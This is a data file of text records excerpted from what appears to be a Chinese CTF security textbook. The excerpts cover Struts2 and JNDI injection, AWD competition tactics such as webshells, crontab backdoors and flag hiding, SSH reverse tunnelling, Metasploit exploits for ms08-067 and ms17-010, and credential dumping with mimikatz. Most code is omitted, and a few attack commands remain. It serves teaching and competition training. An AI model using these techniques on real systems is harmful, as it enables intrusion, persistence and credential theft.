    {"text": "context ：可以理解为对象运行的上下文环境。 context以MAP的结构，利用键值对关系来描述对象中的属性和值。 处理OGNL的顶层对象是一个Map对象，通常称为context map或者context。 OGNL的root就在context map中。"},
    {"text": "Struts2将OGNL的context变成了ActionContext，将root变成了ValueStack。 Struts2将其他对象和ValueStack一起放在ActionContext中，这些对象包括application、session、request context的上下文映射，见图10-2-14。"},
    {"text": "图10-2-14（引自Apache OGNL官方文档） 2．ActionContext ActionContext是action的上下文，其本质是一个Map对象，可以理解为一个action的小型数据库，整个action生命周期（线程）中所使用的数据都在其中。 OGNL中的ActionContext就是充当context的，见图10-2-15。 ActionContext中三个常见的作用域为 request 、 session 、 application 。"},
    {"text": "3．值栈 值栈本身是一个ArrayList，充当OGNL的root，见图10-2-16。 图10-2-15 图10-2-16 root在源码中称为CompoundRoot，它也是一个栈，每次操作值栈的出、入栈操作其实是对CompoundRoot进行对应操作。"},
    {"text": "这里的context就是ActionContext的引用，方便在值栈中去查找action的属性。 4．ActionContext与值栈的关系 其实ActionContext与值栈是“相互包含”的关系，准确地说，值栈是ActionContext的一部分，而ActionContext描述的也不只是一个OGNLcontext的代替品，毕竟它更多的是为action构建一个独立的运行环境（新的线程），因此可以通过值栈访问ActionContext中的属性，反之亦然。 其实，可以用一种不标准的表达方式来描述这样的关系：可以把值栈当做ActionContext的索引，既可以直接通过索引找到表中的数据，也可以在表中找到所有数据的索引，就像书与目录的关系。 5．小结 在理解了表达式结构后，重新审视表达式注入漏洞，我们会发现表达式注入漏洞的关键在于利用表达式来操作上下文中的内容，特别注意ActionContext与值栈的关系，表达式实际上是可能操作该线程的上下文内容的，这可能造成严重的RCE。"},
    {"text": "整体触发流程如下： 1．触发点分析 S2-045漏洞原理是Struts2在处理Content-Type时，如果获得的是未预期的值，就会爆出一个异常，在此异常的处理中会造成RCE。"},
    {"text": "该方法代码很长，下面截取关键部分： 这里调用了getDefaultMessage()方法，其中存在一个将消息进行格式化的方法buildMessageFormat()，而消息是通过TextParseUtil.translateVariables的处理生成的： 跟进TextParseUtil.translateVariables的具体实现，可以发现它将message当做表达式并完成表达式的解析、执行表达式： 向上跟踪，发现message是由defaultMessage生成的，所以表达式与defaultMessage有关。"},
    {"text": "Struts2处理请求文件上传请求所用的默认组件是org.apache.struts2.dispatcher.multipart.JakartaMultiPartRequest，其报错处理如下： 可知报错信息是由buildErrorMessage生成的，buildErrorMessage处理流程如下： 这里通过e.getMessage()获取抛出的异常类的message，并将其传入LocalizedMessage的defaultMessage中。"},
    {"text": "在跟踪processUpload方法时，可以看到如下代码： 跟踪FileItemIteratorImpl： 由上述代码可知，如果contentType为空或不以multipart开头，则会抛出错误，并把错误的contentType加入报错信息，这里便是我们可控的地方。"},
    {"text": "10.2.7.6 表达式注入小结 在分析或挖掘表达式注入时最重要的三个特征是表达式可控、绕过上下文中存在的过滤机制、寻找执行表达式的点。"},
    {"text": "10.2.8 Java Web的漏洞利用方式 Java Web的漏洞利用方式与其他常见的漏洞利用方式有所不同，常见的利用方式包括：通过HTTP请求直接发包触发漏洞（包括表达式注入），远程类加载利用方式（常用的利用方式为JNDI）。"},
    {"text": "Reference对象可以通过指定工厂来创建一个Java对象，用户可以指定远程的对象工厂地址，如果远程对象地址被用户可控，就可能出现安全问题，见图10-2-16。"},
    {"text": "然后，攻击者将其控制的目录服务器的地址传入存在漏洞的服务器的JNDI lookup()方法。 存在漏洞的服务器执行lookup()方法后会连接到攻击者控制的目录服务器（RMI服务器），返回攻击者绑定好的payload。 最后，存在漏洞的服务器将返回解码，并触发payload。"},
    {"text": "JNDI注入的关键在于动态协议切换，lookup()方法允许在传入绝对路径的情况下动态进行协议和提供者切换。 所以，当lookup()中的参数是可控时，就有可能造成JNDI注入——当然，上下文对象是需要通过InitialContext或其子类（InitialDirContext、InitialLdapContext）实例化的对象。 所以，JNDI注入需要两个主要的条件： ❖ 上下文对象是通过InitialContext及其子类实例化的，且其lookup()方法允许动态协议切换。"},
    {"text": "（2）建立攻击者可控的目录服务 攻击者可控制的目录服务需要把自己的payload的地址绑定到该目录服务上，同时保证目录服务可以访问payload的地址： 这样将payload位于攻击者服务器的9999端口上，同时目录服务监听2000端口，将payload绑定成Exploit类（位于目录服务）。 （3）Demo效果 首先，需要准备payload： 将payload部署到攻击者自己的服务器上，并保证其可访问，这里使用“ php-S ”命令开通了HTTP服务，见图10-2-17。 开启攻击者可控的目录服务和存在漏洞的服务，将执行攻击者自己设定的payload弹出计算器，见图10-2-18。"},
    {"text": "图10-2-17 图10-2-18 （5）真实环境下的Demo 在真实环境中，很多的漏洞都是通过JDNI的方式完成利用的，下面用2019年爆出的 Weblogic RCE （CVE-2019-2725）作为例子，来讲述实际应用的方式。"},
    {"text": "这个漏洞除了使用反序列化的利用链，还可以使用CVE-2018-3191漏洞的利用链，将一个目录服务地址传入，从而造成JDNI注入，完成命令执行。"},
    {"text": "图10-2-19 利用EXP生成序列化的数据，命令如下： 将序列化的数据转换成漏洞利用点（这里选择 UnitOfWorkChangeSet ）所需的ByteArray后，发送请求，就会完成JDNI注入弹出计算器，见图10-2-20。"},
    {"text": "（6）攻击限制 Oracle在jdk8u121后设置了com.sun.jndi.rmi.object.trustURLCodebase=false，限制了RMI利用方式中从远程加载Class com.sun.jndi.rmi.registry.RegistryContext＃decodeObject。 Oracle在jdk8u191后设置com.sun.jndi.ldap.object.trustURLCodebase=false，限制了LDAP利用是从远程加载Class。"},
    {"text": "Tomcat 7默认不存在javax.el包，由于篇幅限制，这里不再赘述，想要了解更详细的信息，可以参考如下文献： https://www.veracode.com/blog/research/exploiting-jndi-injections-java 图10-2-20 10.2.8.2 反序列化利用工具ysoserial/marshalsec ysoserial/marshalsec 都是反序列化Gadget合集，当确定了一个反序列化漏洞时，需要向这个反序列化点传入一串序列化数据，使其完成反序列化并执行我们期望其执行的操作——通常是命令执行。"},
    {"text": "有关反序列化的内容前文已经有所说明，这里以Shiro反序列化漏洞（ CVE-2016-4437 ）的例子来具体展示如何使用ysoserial工具完成反序列化的攻击。"},
    {"text": "为了快速的搭建漏洞环境，笔者这里直接从Github上下载代码，部署到Tomcat中完成漏洞环境搭建，具体命令如下： 接下来为了让shiro正常运行，需要修改pom.xml文件，添加如下代码： 然后用MVN编译项目为WAR包，复制target目录下生成的samples-web-1.2.4.war至Tomcat目录下的webapps目录，这里将war包重命名为shiro.war。 启动Tomcat，访问 http://localhost：8080/shiro ，即可看到shiro demo已经启动，见图10-2-21。"},
    {"text": "首先，利用ysoserial生成URLDNS的payload： 再使用Shiro内置的默认密钥对Payload进行AES加密，具体代码如下： 运行poc，即可在DNS解析记录中看到请求记录了，见图10-2-22。"},
    {"text": "图10-2-22 图10-2-22（续） 10.2.8.3 Java Web漏洞利用方式小结 本节主要总结了JDNI注入和ysoserial的使用，在现实世界中的利用往往通过各种Gadget组合成完整的利用过程。"},
    {"text": "与现实世界中的代码审计不同，在CTF比赛的代码审计题目中，其目的多是审计出越权、SQL注入甚至RCE等漏洞，由于比赛有时间限制，这就要求参赛者对相关语言的语法特性有深入的了解，如PHP类的继承、Java反射机制等。"},
    {"text": "一般来说，AWD比赛中通常会有多个题目，每个题目对应一个gamebox（服务器），每个比赛队伍的gamebox都存在相同的漏洞环境，各队伍选手通过漏洞获取其他队伍gamebox中的flag来进行得分，通过修补自身gamebox中的漏洞来避免被攻击，gamebox上的flag会在规定时间内进行刷新。"},
    {"text": "因为AWD的技巧繁多，所以本章只从Web方面入手，分为比赛前期准备、比赛技巧（trick）、流量分析、漏洞修复四部分。 同时为了不影响比赛平衡，本章主要针对参赛经验较少或者从未参加过AWD比赛的读者群体，分享一些基础的参赛经验，一些奇门技巧还需参赛者在日常比赛中自行摸索和交流学习。 11.1 比赛前期准备 AWD比赛其实颇有考察参赛者手速的意思，所以比赛正式开始前的时间很关键，大致需要做以下工作： 1．探测IP范围 在AWD比赛中，主办方往往不会告知参赛者IP范围或者各队伍的出口IP，所以比赛开始前的几分钟便可以利用Nmap、Routescan或者其他端口扫描工具，对当前C端进行探测，以便在比赛过程中快速编写自动化脚本。 2．exploit库的积累 因为AWD比赛的Web题目往往贴近现实，一般是一些成型的CMS或者CVE漏洞。"},
    {"text": "3．备份的重要性 比赛开始后，相信所有参赛者都会立刻进行Web题目的源码备份，却往往遗漏了另一个重要的备份，即 数据库备份 ，其备份命令也十分简单： 为什么这样做呢？ 以笔者的亲身经历来说，在某次线下赛中，主办方检测后台正常与否的依据是通过一个普通用户登录，在没有备份的情况下，笔者不小心改了此用户的密码，导致题目服务不断被checkdown扣分，但由于当时没有进行数据库备份，最后不得已只能选择扣除一定分值，重置服务来恢复比赛环境。"},
    {"text": "4．提前准备的脚本 （1）flag自动提交脚本 一般，比赛主办方会提供相应的flag提交API接口，这里以i春秋平台的API接口为例，直接定义一个函数即可。"},
    {"text": "（2）漏洞批量利用脚本 在AWD比赛过程中，往往会有十几支甚至数十支队伍，因为手动攻击太慢，所以自动化漏洞利用脚本显得尤为重要，以2018年上海大学生线下赛metinfo任意文件读取为例，自动化攻击脚本其实只需要如下几行简单的Python代码： 然后结合flag自动化提交脚本，便可以得到一个完整的自动化攻击提交flag脚本，见图9-1-1。 图9-1-1 同时，在一些比赛中，主办方为了照顾部分选手的技术实力和比赛可观性，往往会在根目录直接预留一个木马，如果提前准备了相应的利用脚本，便可以抢占先机，在此不再赘述。 （3）好用的抓取流量脚本 流量分析在本章也会单独介绍，那么在主办方不提供流量的情况下，如何获取流量便成了关键，而网上成型的流量获取脚本很多（如Github），这里推荐Nu1L主力Web选手wupco开发的流量获取平台，读者可以根据自己需要进行二次开发，其Github链接如下： https://github.com/wupco/weblogger 。 （4）混淆的流量脚本 在比赛时，为了混淆视听，加大对手分析流量的难度，参赛者可以提前准备一些混淆流量脚本，最简单的方法是通过sqlmap或者自动化攻击过程中随机发送payload。"},
    {"text": "11.2 比赛技巧 11.2.1 如何快速反应 （1）最短的一般有问题 因为AWD比赛往往参赛人员水平参差不齐，所以为了照顾大部分参赛群体，出题人往往会设置一些简单的漏洞，除了前面所说的一句话，还有下面这种任意文件读取： 如何找到这种短文件便十分关键。 这里分享一个命令，可以快速找到行数最短的文件： （2）查杀webshell AWD比赛中的Web题目中往往需要参赛者来getshell，所以出题人很有可能放一些位置不是很明显的webshell，如在 n 级目录下，那么这时可以用D盾软件来全局扫描。"},
    {"text": "例如，在2016年“4·29”网络安全周安恒线下赛中便有这样一个webshell，只能依靠参赛者自行挖掘： （3）删除不死webshell 常见的不死webshell如下： 而删除不死webshell的常见方法的有以下两种。"},
    {"text": "① 循环kill相应进程，命令如下： ② 创建一个与不死webshell生成的一样名字的文件夹。 例如，不死webshell的名称是1.php，那么使用“ mkdir 1.php ”命令即可。"},
    {"text": "11.2.2 如何优雅、持续地拿flag AWD的赛制要求参赛者必须在每轮都拿到当前的flag，如何持续、不被发现地拿其他队伍的flag便成了重中之重。"},
    {"text": "2．通过gamebox提交 在一些比赛中，gamebox可以访问提交flag的API接口，所以可以通过写crontab后门来达到隐蔽提交，例如： 3．包含文件 一些PHP文件往往包含JS文件，所以可以通过“include js”文件达到getshell的目的。"},
    {"text": "图11-2-1 4．隐蔽之路 在一些404页面或者比较难以发现的地方（如登录），直接使用“echo`cat/f*`”命令，将获取的flag写到HTML标签中（见图11-2-2），访问不存在页面或者登录页面便可以拿到flag，简易效果见图11-2-3。"},
    {"text": "例如，在index.php中添加如下语句： 图11-2-2 图11-2-3 然后访问index.php便会在当前目录下生成.1.txt，内容为flag文件。 当然，为了避免被其他队伍发现获取，可以在index.php或者其他文件中加入如下语句： 这样在读取flag内容后，立刻用GET请求，即可删除.1.txt，避免被其他参赛者发现利用。"},
    {"text": "6．另类的webshell 在AWD比赛中，目标机器的权限维持同样重要，除了寻常的不死马，还有RSA后门、隐藏文件等，这里不再赘述，读者可以扩散思维，创造一些另类的webshell。"},
    {"text": "例如，2016年ZCTF线下赛的例子： 这段代码乍看起来可能没有什么危险的地方，但是仔细一看，发现session文件其实是可以被控制的，这样就导致了RCE。"},
    {"text": "7．shell不复用 在AWD比赛中，题目权限的维持大部分要依靠webshell。 在比赛过程中往往会出现这种情况：A参赛队伍批量化攻击所有参赛者的时候，没有进行shell名称或者密码的随机化，导致其他参赛队伍（如D）的webshell地址、密码都是一致的，这样会导致D可以利用A的webshell来对其他参赛队伍进行攻击，甚至设置自己的webshell，将A的webshell删除。 而shell不复用就是为了避免上述情况，这里提供一个比较通用的解决方案： 可以看出，在获取相应队伍的权限后，将获取的shell密码变成一个不可逆的MD5值，便可防止自己的webshell被别人复用。"},
    {"text": "1．NPC的重要性 每场比赛都会有机器人NPC角色，其IP一般是最后一个，主办方本意是让参赛者测试发现的漏洞，从而防止被其他参赛者一开始就抓到流量。 之所以说NPC重要，一是因为其分值与单个参赛队伍的分值是相同的，而主办方一般不会管NPC的服务正常与否，所以如果某参赛者在获取到NPC的webshell后，可以对其漏洞进行修复，这样就可以独享NPC的flag分值。"},
    {"text": "3．如何弥补劣势 AWD比赛中同样关键的是参赛者的心态，所以处于劣势地位时，心态不要崩，在以往比赛中也有过很多强队在开始落后，后来逆袭成为第一的情况。"},
    {"text": "另外，针对shell复用的情况，如果自己的服务器上被设置了shell，除了立刻删除，也要有这样的思路：如果自己被设置了shell，那么这一般是攻击队伍自动化脚本设置的，就意味着其他非攻击队伍也可能被设置了，路径、密码往往可能都一样，所以可以进一步利用。"},
    {"text": "11.3 流量分析 1．流量分析的重要性 在AWD比赛中，如果能拿到题目的“一血”，往往可以成功攻击全场，从而大量得分，迅速拉开与其他参赛者的差距。 而如果其他参赛者率先拿到了题目“一血”并攻击全场，这时快速地分析流量，并定位漏洞进行修复和利用重放就很重要了。 而在很短的时间内迅速重放流量，意味着可以与拿到“一血”的参赛队伍平分其他参赛队伍的失分，从而迅速提高分数。"},
    {"text": "Pcap Search平台采用先进的算法和数据结构对流量包建立索引，以实现更快的字符串匹配，同时支持直接导出流量的字符串形式或基于zio的Python重放脚本。"},
    {"text": "有选手在使用这个平台后，发现满足不了某些比赛的个人需求，于是有的将基于zio的重放脚本改为了在现在的CTF中更常用的基于pwntools的重放脚本，有的为了方便部署为平台编写了Dockerfile。"},
    {"text": "当然，如果需要更多的功能，如定制导出的重放脚本或支持正则搜索（为了更快速地匹配到flag，以确认有效流量），就需要自己在比赛前根据自己的需求提前进行修改。"},
    {"text": "② 更精确的方式是通过对流量包以连接为单位进行拆分，在本地运行服务模拟题目环境，将每次连接中接收的内容发送给本地服务器，判断本地服务器是否会崩溃（PWN题）或者是否能直接得到flag。"},
    {"text": "11.4 漏洞修复 AWD的本质是让参赛者拿到flag，那么flag的常见获取方式有以下几种：通过RCE漏洞，通过文件读取漏洞，通过SQL注入读取文件。"},
    {"text": "小结 其实本章主要针对未参加过AWD比赛的或者参赛经验较少的读者，所以相对比较基础，希望大家理解。 最后说两点笔者参与AWD比赛的感想： 1．参赛者的通防问题 通防不只令主办方头疼，对于其他参赛者其实也是不公平的，有时往往花费精力审出的洞，可能因为通防的缘故导致不能利用，而通防的时间精力成本基本为零，所以导致很多人在比赛一开始的时候就会布上通防。"},
    {"text": "2．比赛突发情况 在一些比赛中会出现一些突发情况，大多是参赛者测试主办方的平台安全性，导致了一些意外情况，如参赛者可以任意登录其他参赛者的账号。"},
    {"text": "第12章 靶场渗透 在CTF线下赛中，靶场渗透出现的频率越来越高，也越来越多样化，相比于CTF线上赛，渗透方向的入门与Web方向一样简单，不需要参赛者详细了解系统底层原理、拥有高深的编程能力，只需对已有的漏洞进行收集、熟练地运用各类工具和一个具有超强学习能力的大脑。 本章将从如何搭建顺手的渗透环境开始，逐步讲解常见漏洞和利用、Windows安全的基础知识，结合CTF比赛中的案例，让读者对靶场渗透有清楚的认识。"},
    {"text": "12.1.1 Linux下Metasploit的安装和使用 Metasploit 是一款开源的安全漏洞检测工具和渗透测试框架，常用来检测系统的安全性，灵活可扩展的架构（见图12-1-1）将多种模块整合在一起，集成各种平台上常见的漏洞利用和流行的ShellCode，并保持频繁更新。"},
    {"text": "❖ Exploits（漏洞利用）：支持攻击者利用系统、应用或者服务中的安全漏洞进行攻击，包括攻击者或安全研究员针对系统中的漏洞设计开发的用于破坏系统安全性的代码。"},
    {"text": "Metasploit有几种安装方式：系统镜像源安装，GitHub源码安装，官方脚本安装。 这三种安装方式各有优劣，系统镜像源安装的优点是不用自己配置依赖安装即用，但是存在更新不及时、漏洞利用不是最新的等缺点； 源码安装使用的是Dev分支的代码，漏洞利用保持最新，缺点是需要手动安装依赖和数据库难度比较大，不推荐新手使用； 而Metasploit官方源刚好弥补前两种安装方式的不足，所以这里推荐使用官方源脚本在Ubuntu上进行安装。"},
    {"text": "图12-1-2 安装结束后，输入“ msfconsole ”命令，会提示是否建立一个新数据库，输入“yes”后，会进行数据库的初始化，见图12-1-3。"},
    {"text": "图12-1-3 信息收集是渗透测试中的第一步，也是最重要的一步，还是贯穿整个渗透流程的一步，其主要目的是尽可能多得发现与目标有关的信息。"},
    {"text": "下面将介绍如何使用辅助模块进行端口扫描。 使用辅助模块进行端口扫描，扫描完成后的结果可以让我们得知目标开放的端口，然后根据相应端口进行服务判断，才可以进行下一步的利用。 先使用search命令搜索有哪些可用的端口扫描模块，见图12-1-4，列出了可用的扫描器列表包含的扫描类型。 图12-1-4 下面以TCP扫描模块为例。"},
    {"text": "图12-1-5 set 命令用于填入需要设置的参数的值， unset 命令用于取消某个参数的值。 setg 和 unsetg 命令则用于设置全局或者取消全局参数的值。"},
    {"text": "图12-1-8 另外，每个操作系统或者应用一般会存在各种漏洞，虽然开发商会快速地针对它们开发补丁，并为用户提供更新，但因为各种各样的原因，用户往往不会及时进行更新，这也就导致了0day在很长时间后变成Nday还能继续被利用。"},
    {"text": "12.1.2 Linux下Nmap的安装和使用 Nmap （ Network Mapper ）是一款功能强大、界面简单清晰的端口扫描软件，能够轻松扫描相应的端口服务，并推测出目标相应的操作系统和版本，从而帮助渗透人员快速地评估网络系统安全。"},
    {"text": "图12-1-9 上述方式安装的Nmap往往不是最新版本，如果想获取最新版本，可以采用源码编译，参考 http://nmap.org/book/inst-source.html 。 安装成功后，在终端输入“ nmap ”命令，会输出一些参数，见图12-1-10。 图12-1-10 Nmap的基本使用方法如下，其中有些参数可以组合。"},
    {"text": "（1）基础扫描命令： nmap 192.168.1.1 Nmap默认会使用TCP SYN扫描使用率排名前1000的端口，并将结果（open、closed、filtered）返回给用户，见图12-1-11。 图12-1-11 （2）主机发现命令： nmap-sP-n 192.168.1.2/24-T5--open Nmap会以最快速度（参数为“-T5”）使用ping扫描（参数为“-sP”）并不反向解析（参数为“-n”），将存活的主机中返回（参数为“--open”）给用户，见图12-1-12。 图12-1-12 （3）资产扫描命令： nmap-sS-A--version-all 192.168.1.2/24-T4--open Nmap会使用TCP SYN扫描（参数为“-sS”），使用略高于默认的速度（参数为“-T4”），将开放的服务、系统信息（参数为“-A”）和服务详情（精准识别，参数为“--version-all”）返回（参数为“--open”）给用户。"},
    {"text": "（4）端口扫描命令： nmap-sT-p80，443，8080 192.168.1.2/24--open Nmap会使用ping扫描（参数为“-sT”），将指定的端口（参数为“-p”）中开放的端口（参数为“--open”）返回给用户，见图12-1-13。"},
    {"text": "图12-1-13 12.1.3 Linux下Proxychains的安装和使用 Proxychains是一款Linux代理工具，可以使任意程序通过代理连接网络，允许TCP和DNS通过代理隧道，支持HTTP、Socks4、Socks5类型的代理服务器，并且支持配置多个代理。"},
    {"text": "使用方法为： 例如，使用Socks5代理打开Firefox： 如果想直接使用proxychains4代理Metasploit，可以在配置文件中修改或添加本地白名单“ localnet 127.0.0.0/255.0.0.0 ”，然后执行“ proxychains4 msfconsole ”即可。"},
    {"text": "图12-1-14 图12-1-15 图12-1-16 12.1.4 Linux下Hydra的安装和使用 Hydra 是THC开发的一款开源的密码爆破工具，功能强大，支持下述多种协议的破解： 在Ubuntu上的安装命令如下，见图12-1-17。"},
    {"text": "12.1.6 Windows下Proxifier的安装 Proxifier 是一款功能非常强大的Socks5客户端，可以让不支持代理的网络程序强制通过代理服务器访问网络，支持多种操作系统平台和多种代理协议，程序界面见图12-1-20。"},
    {"text": "图12-1-19 图12-1-18 图12-1-20 12.2 端口转发和代理 在靶场渗透过程中，若在目标网络成功建立了立足点，就可以以本地的方式访问目标内部网络中的开放的服务端口来进行横向移动，如445、3389、22端口等，所以需要灵活使用 端口转发和代理 技术。"},
    {"text": "与木马上线一样，端口转发和代理中也分为 主动 和 被动 两种模式。 主动模式是在服务器端监控一个端口，客户端主动访问。 被动模式是客户端先监听端口，再等待服务器连接。"},
    {"text": "一般，服务器防火墙对进入的流量有较严格的限制，但是对出去的流量相对没有那么严格，所以我们经常选择被动模式，但需要一个公网IP的资源，这样才能让服务器连接到。"},
    {"text": "图12-2-2 现在添加一张虚拟网卡，在VMware中选择“ 编辑 → 虚拟网络编辑器 ”菜单命令（见图12-2-3），添加一张网卡，并设置为“ 仅主机模式 ”；"},
    {"text": "图12-2-3 图12-2-4 为了模拟内网环境，将两台Windows server 2012虚拟机的网卡都设置为VMnet2，并在其中一台主机上新增一张NAT模式的虚拟网卡，使其能够与外部网络进行交互。"},
    {"text": "12.2.1 端口转发 在靶场渗透比赛中常常会遇到较为复杂的网络环境，而为了能够在任何场景下都能畅通无阻，参赛选手需要熟练掌握端口转发这门技术。"},
    {"text": "顾名思义，端口转发的含义就是将端口按照自己的意愿进行转发，只有通过转发，才能将多级路由之后的那些无法直接访问到的端口设置在自己能触及的主机上。"},
    {"text": "其中，Earthworm、Termite、Venom为同一类工具，其特点是以节点的方式管理多台主机，并支持跨平台，可以快速构建代理链，如果熟练使用，在渗透中可以极大的节省时间。 Earthworm和termite出于同一作者，它们也是国内渗透测试中用的最多的工具，但由于某些原因，其作者下架了这两种工具，无法从官方渠道下载。"},
    {"text": "1．venom Venom 是一款为渗透测试人员设计的使用Go语言开发的多级代理工具，可将多个节点进行连接，然后以节点为跳板，构建多级代理。 渗透测试人员可以使用Venom轻松地将网络流量代理到多层内网，并轻松地管理代理节点。"},
    {"text": "（1） 以管理端作为服务端 （2） 以节点端作为服务端 获取到节点后，可以使用goto命令进入该节点，并在该节点上进行如下操作，包括： ❖ Listen，在目标节点上监听端口；"},
    {"text": "目录结构如下： 假设已成功拿下第一台机器后，将编译好的文件上传到目标主机上，而后启动服务端，如果目标无可直接访问的公网地址或者存在防火墙，那么将无法直接访问目标端口，需要建立反向连接，也就是admin端作为服务端监听端口，而agent节点端进行主动连接，这样就可以绕过防火墙等限制，操作如下： 在服务端上开启监听8888端口，见图12-2-7。"},
    {"text": "下面主要讲解其中端口转发的使用，存在两个端口转发的功能，分别为：本地端口转发和远程端口转发。 图12-2-9 本地端口转发就是将本地（admin节点）的端口转发到目标节点的端口上。 例如，将本地端口为80的Web服务转发到目标节点的80端口上，命令为： 然后在目标节点的80端口上就可以访问该Web服务了，见图12-2-10。 图12-2-10 远程端口转发是将远程节点的端口转发到本地端口上。 例如，将前面目标节点打开的80端口再转发到admin节点的8080端口，命令为： 访问本地的8080端口即可访问目标节点的80端口，见图12-2-11。 图12-2-11 当然，也可以将内网其他机器的端口转发出来，如对于无法直接访问到的192.168.115.129，现在将其smb端口转发到本地的445端口，命令为： 随后便可以在本地的445端口访问到来自192.168.115.129的smb服务，见图12-2-12。 图12-2-12 2．SSH SSH的端口转发在一些场景下十分便捷稳定，具体的操作方式如下，读者可自行在本地进行测试。"},
    {"text": "本地访问127.0.0.1：port1就是host：port2，即： ② 远程转发。 访问host：port2就是访问127.0.0.1：port1，即： 12.2.2 Socks代理 Socks是一种代理服务，可以将两端系统连接起来，支持多种协议，包括HTTP、HTTPs、SSH等其他类型的请求，标准端口为1080。"},
    {"text": "在渗透过程中，若能拿到SSH密码，并且SSH端口是对外开放的，这时可以用上面的命令，方便地进行Socks代理。 但是很多情况下没有办法直接连接SSH，那么可以按照下面的流程进行。 （1） 在自己的服务器上修改/etc/ssh/sshd_config文件中的GatewayPorts为“yes”，从而让本地监听的0.0.0.0:8080而不是127.0.0.1:8080，这样在公网上可以进行访问。 （2） 在目标机器上执行“ssh-p 22-qngfNTR 6666:localhost:22 root＠1.1.1.1”命令，把目标机器的22端口转发到了1.1.1.1:6666。 （3） 在个人服务器1.1.1.1上执行“ssh-p 6666-qngfNTD 6767 root＠1.1.1.1”命令，通过1.1.1.1的6666端口即目标的22端口进行SSH连接，最终会映射出6767端口。"},
    {"text": "在开启端口后，需要使用proxychains对命令行程序进行代理。 这里需要配置代理端口，配置文件路径为 /etc/proxychains.conf ，在最后一行添加需要代理的端口地址，见图12-2-13。"},
    {"text": "12.3 常见漏洞利用方式 本节将介绍Metasploit中一些典型的漏洞利用（Exploit）、影响的版本和用法演示，读者请及时更新Metasploit来获取最新的利用。"},
    {"text": "12.3.1 ms08-067 ms08-067 是一个十分古老的漏洞，Windows Server服务在处理特制RPC请求时存在缓冲区溢出漏洞，远程攻击者可以通过发送恶意的RPC请求触发这个漏洞，导致完全入侵用户系统，以SYSTEM权限执行任意指令。"},
    {"text": "首先使用smb_version模块判断系统版本，见图12-3-1，版本为Windows XP SP3，则使用 exploit/windows/smb/ms08_067_netapi 模块进行攻击尝试，配置参数。"},
    {"text": "图12-3-3 12.3.2 ms14-068 针对 ms14-068 漏洞攻击的防御检测方法已经很成熟，其中关键的Kerberos认证知识将在12.5.2.1节中介绍。"},
    {"text": "因为Kerberos没有对权限进行验证，所以微软在实现的Kerberos协议中加入了 PAC （ Privilege Attribute Certificate，特权属性证书 ），记录用户信息和权限信息。"},
    {"text": "漏洞的根本原因在于KDC允许用户伪造PAC，再使用指定算法加解密，TGS-REQ请求带有伪造高权限用户的PAC，返回的票据就具有了高权限。"},
    {"text": "这里拿impacket套件（ https://github.com/SecureAuthCorp/impacket ）中的goldenPac.py举例，使用参数见图12-3-4，以曾经参加的比赛为例，命令如下： 执行最终结果和图12-3-5类似。"},
    {"text": "图12-3-4 图12-3-5 12.3.3 ms17-010 ShadowBroker释放的NSA工具中的eternalblue模块，网上已经有了很多的分析，在此不再赘述，这里只演示在相应环境中的利用。"},
    {"text": "① 需要凭证版本：Windows 2016 X64，Windows 10 Pro Build 10240 X64，Windows 2012 R2 X64，Windows 8.1 X64，Windows 8.1 X86。 ② 不需要凭证版本：Windows 2008 R2 SP1 X64，Windows 7 SP1 X64，Windows 2008 SP1 X64，Windows 2003 R2 SP2 X64，Windows XP SP2 X64，Windows 7 SP1 X86，Windows 2008 SP1 X86，Windows 2003 SP2 X86，Windows XP SP3 X86，Windows 2000 SP4 X86。"},
    {"text": "注意 ，有的系统会需要认证，这就涉及匿名用户（空会话）访问命名管道，因为新版Windows的默认配置限制了匿名访问。 从Windows Vista开始，默认设置不允许匿名访问任何命名管道，从Windows 8开始，默认设置不允许匿名访问IPC$共享。"},
    {"text": "图12-3-6 这里也推荐 https://github.com/worawit/MS17-010 ，通用性较高，因为测试目标版本比较低，所以使用其中的zzz_exploit.py，在使用前修改smb_pwn函数的一些方法，默认是在C盘创建一个TXT文件，直接修改成执行命令或者上传可执行文件，见图12-3-7。"},
    {"text": "然后使用Metasploit生成一个名为bind86.exe的可执行文件放入脚本执行目录中，Metasploit监听（见图12-3-8），然后执行利用脚本后得到目标session。"},
    {"text": "这里只是演示了zzz_exploit一种用法，建议读者自行阅读py脚本来挖掘其他的利用方式，如可以写成ms17010蠕虫，编译成EXE文件自动传播等。"},
    {"text": "图12-3-7 图12-3-8 12.4 获取认证凭证 收集内网身份凭证是一般横向移动的前置条件，当获取到足够有效的身份凭证时，横向移动会变得游刃有余。"},
    {"text": "12.4.1 获取明文身份凭证 日常用户接触最多的身份凭证载体便是明文密码了，在Windows的认证机制中，不少环节会将明文以各种各样的形式留存在主机中。"},
    {"text": "12.4.1.1 LSA Secrets LSA Secrets是Windows身份验证体系（Local Security Authority，LSA）中用来保存用户重要信息的特殊保护机制。 LSA作为管理系统的本地安全策略，负责审核、验证，将用户登录到系统，并存储私有数据。"},
    {"text": "利用系统自带的命令复制注册表项（需要管理员权限），执行如下命令： 图12-4-2 图12-4-3 将导出的三个文件放入Impacket\\examples文件夹中，使用Impacket中的secretsdump脚本加载： 在返回结果（见图12-4-5）中可看到DefaultPassword项中出现了明文密码。"},
    {"text": "图12-4-5 关于LSA的详细细节，感兴趣的读者可以去MSDN自行了解： https://docs.microsoft.com/en-us/windows/desktop/secauthn/lsa-authentication 。"},
    {"text": "这里有两种方法可以实现： （1）使用mimikatz 使用 mimikatz 提取密码，命令如下，结果见图12-4-6。 图12-4-6 （2）使用procdump 使用procdump转储lsass进程，命令如下，结果见图12-4-7： 图12-4-7 使用mimikatz从转储文件中提取密码，命令如下： 使用mimikatz提取固然方便，但已被大部分反病毒软件列入了查杀名单。"},
    {"text": "针对这个机制可以使用mimikatz提供的驱动强行去除保护，命令序列如下，结果见图12-4-9： 图12-4-8 图12-4-9 12.4.1.4 Credential Manager Credential Manager存储着Windows登录凭据，如用户名、密码和地址。"},
    {"text": "Windows可以保存此数据，以便在本地计算机、同一网络的其他计算机、服务器或网站等上使用。 此数据可由Windows本身或文件资源管理器、Microsoft Office等应用程序和程序使用（见图12-4-10）。"},
    {"text": "图12-4-10 可以使用mimikatz直接获取（见图12-4-11）： 图12-4-11 12.4.1.5 在用户文件中寻找身份凭证Lazange Lazange为本机信息收集一大利器，应该是本机凭证收集，采集包括浏览器、聊天软件、数据库、游戏、Git、邮件、Maven、内存、Wi-Fi、系统凭证的多个维度、多个路线的凭证信息，并且支持Windows、Linux、Mac系统，命令参数解析见图12-4-12，结果见图12-4-13。"},
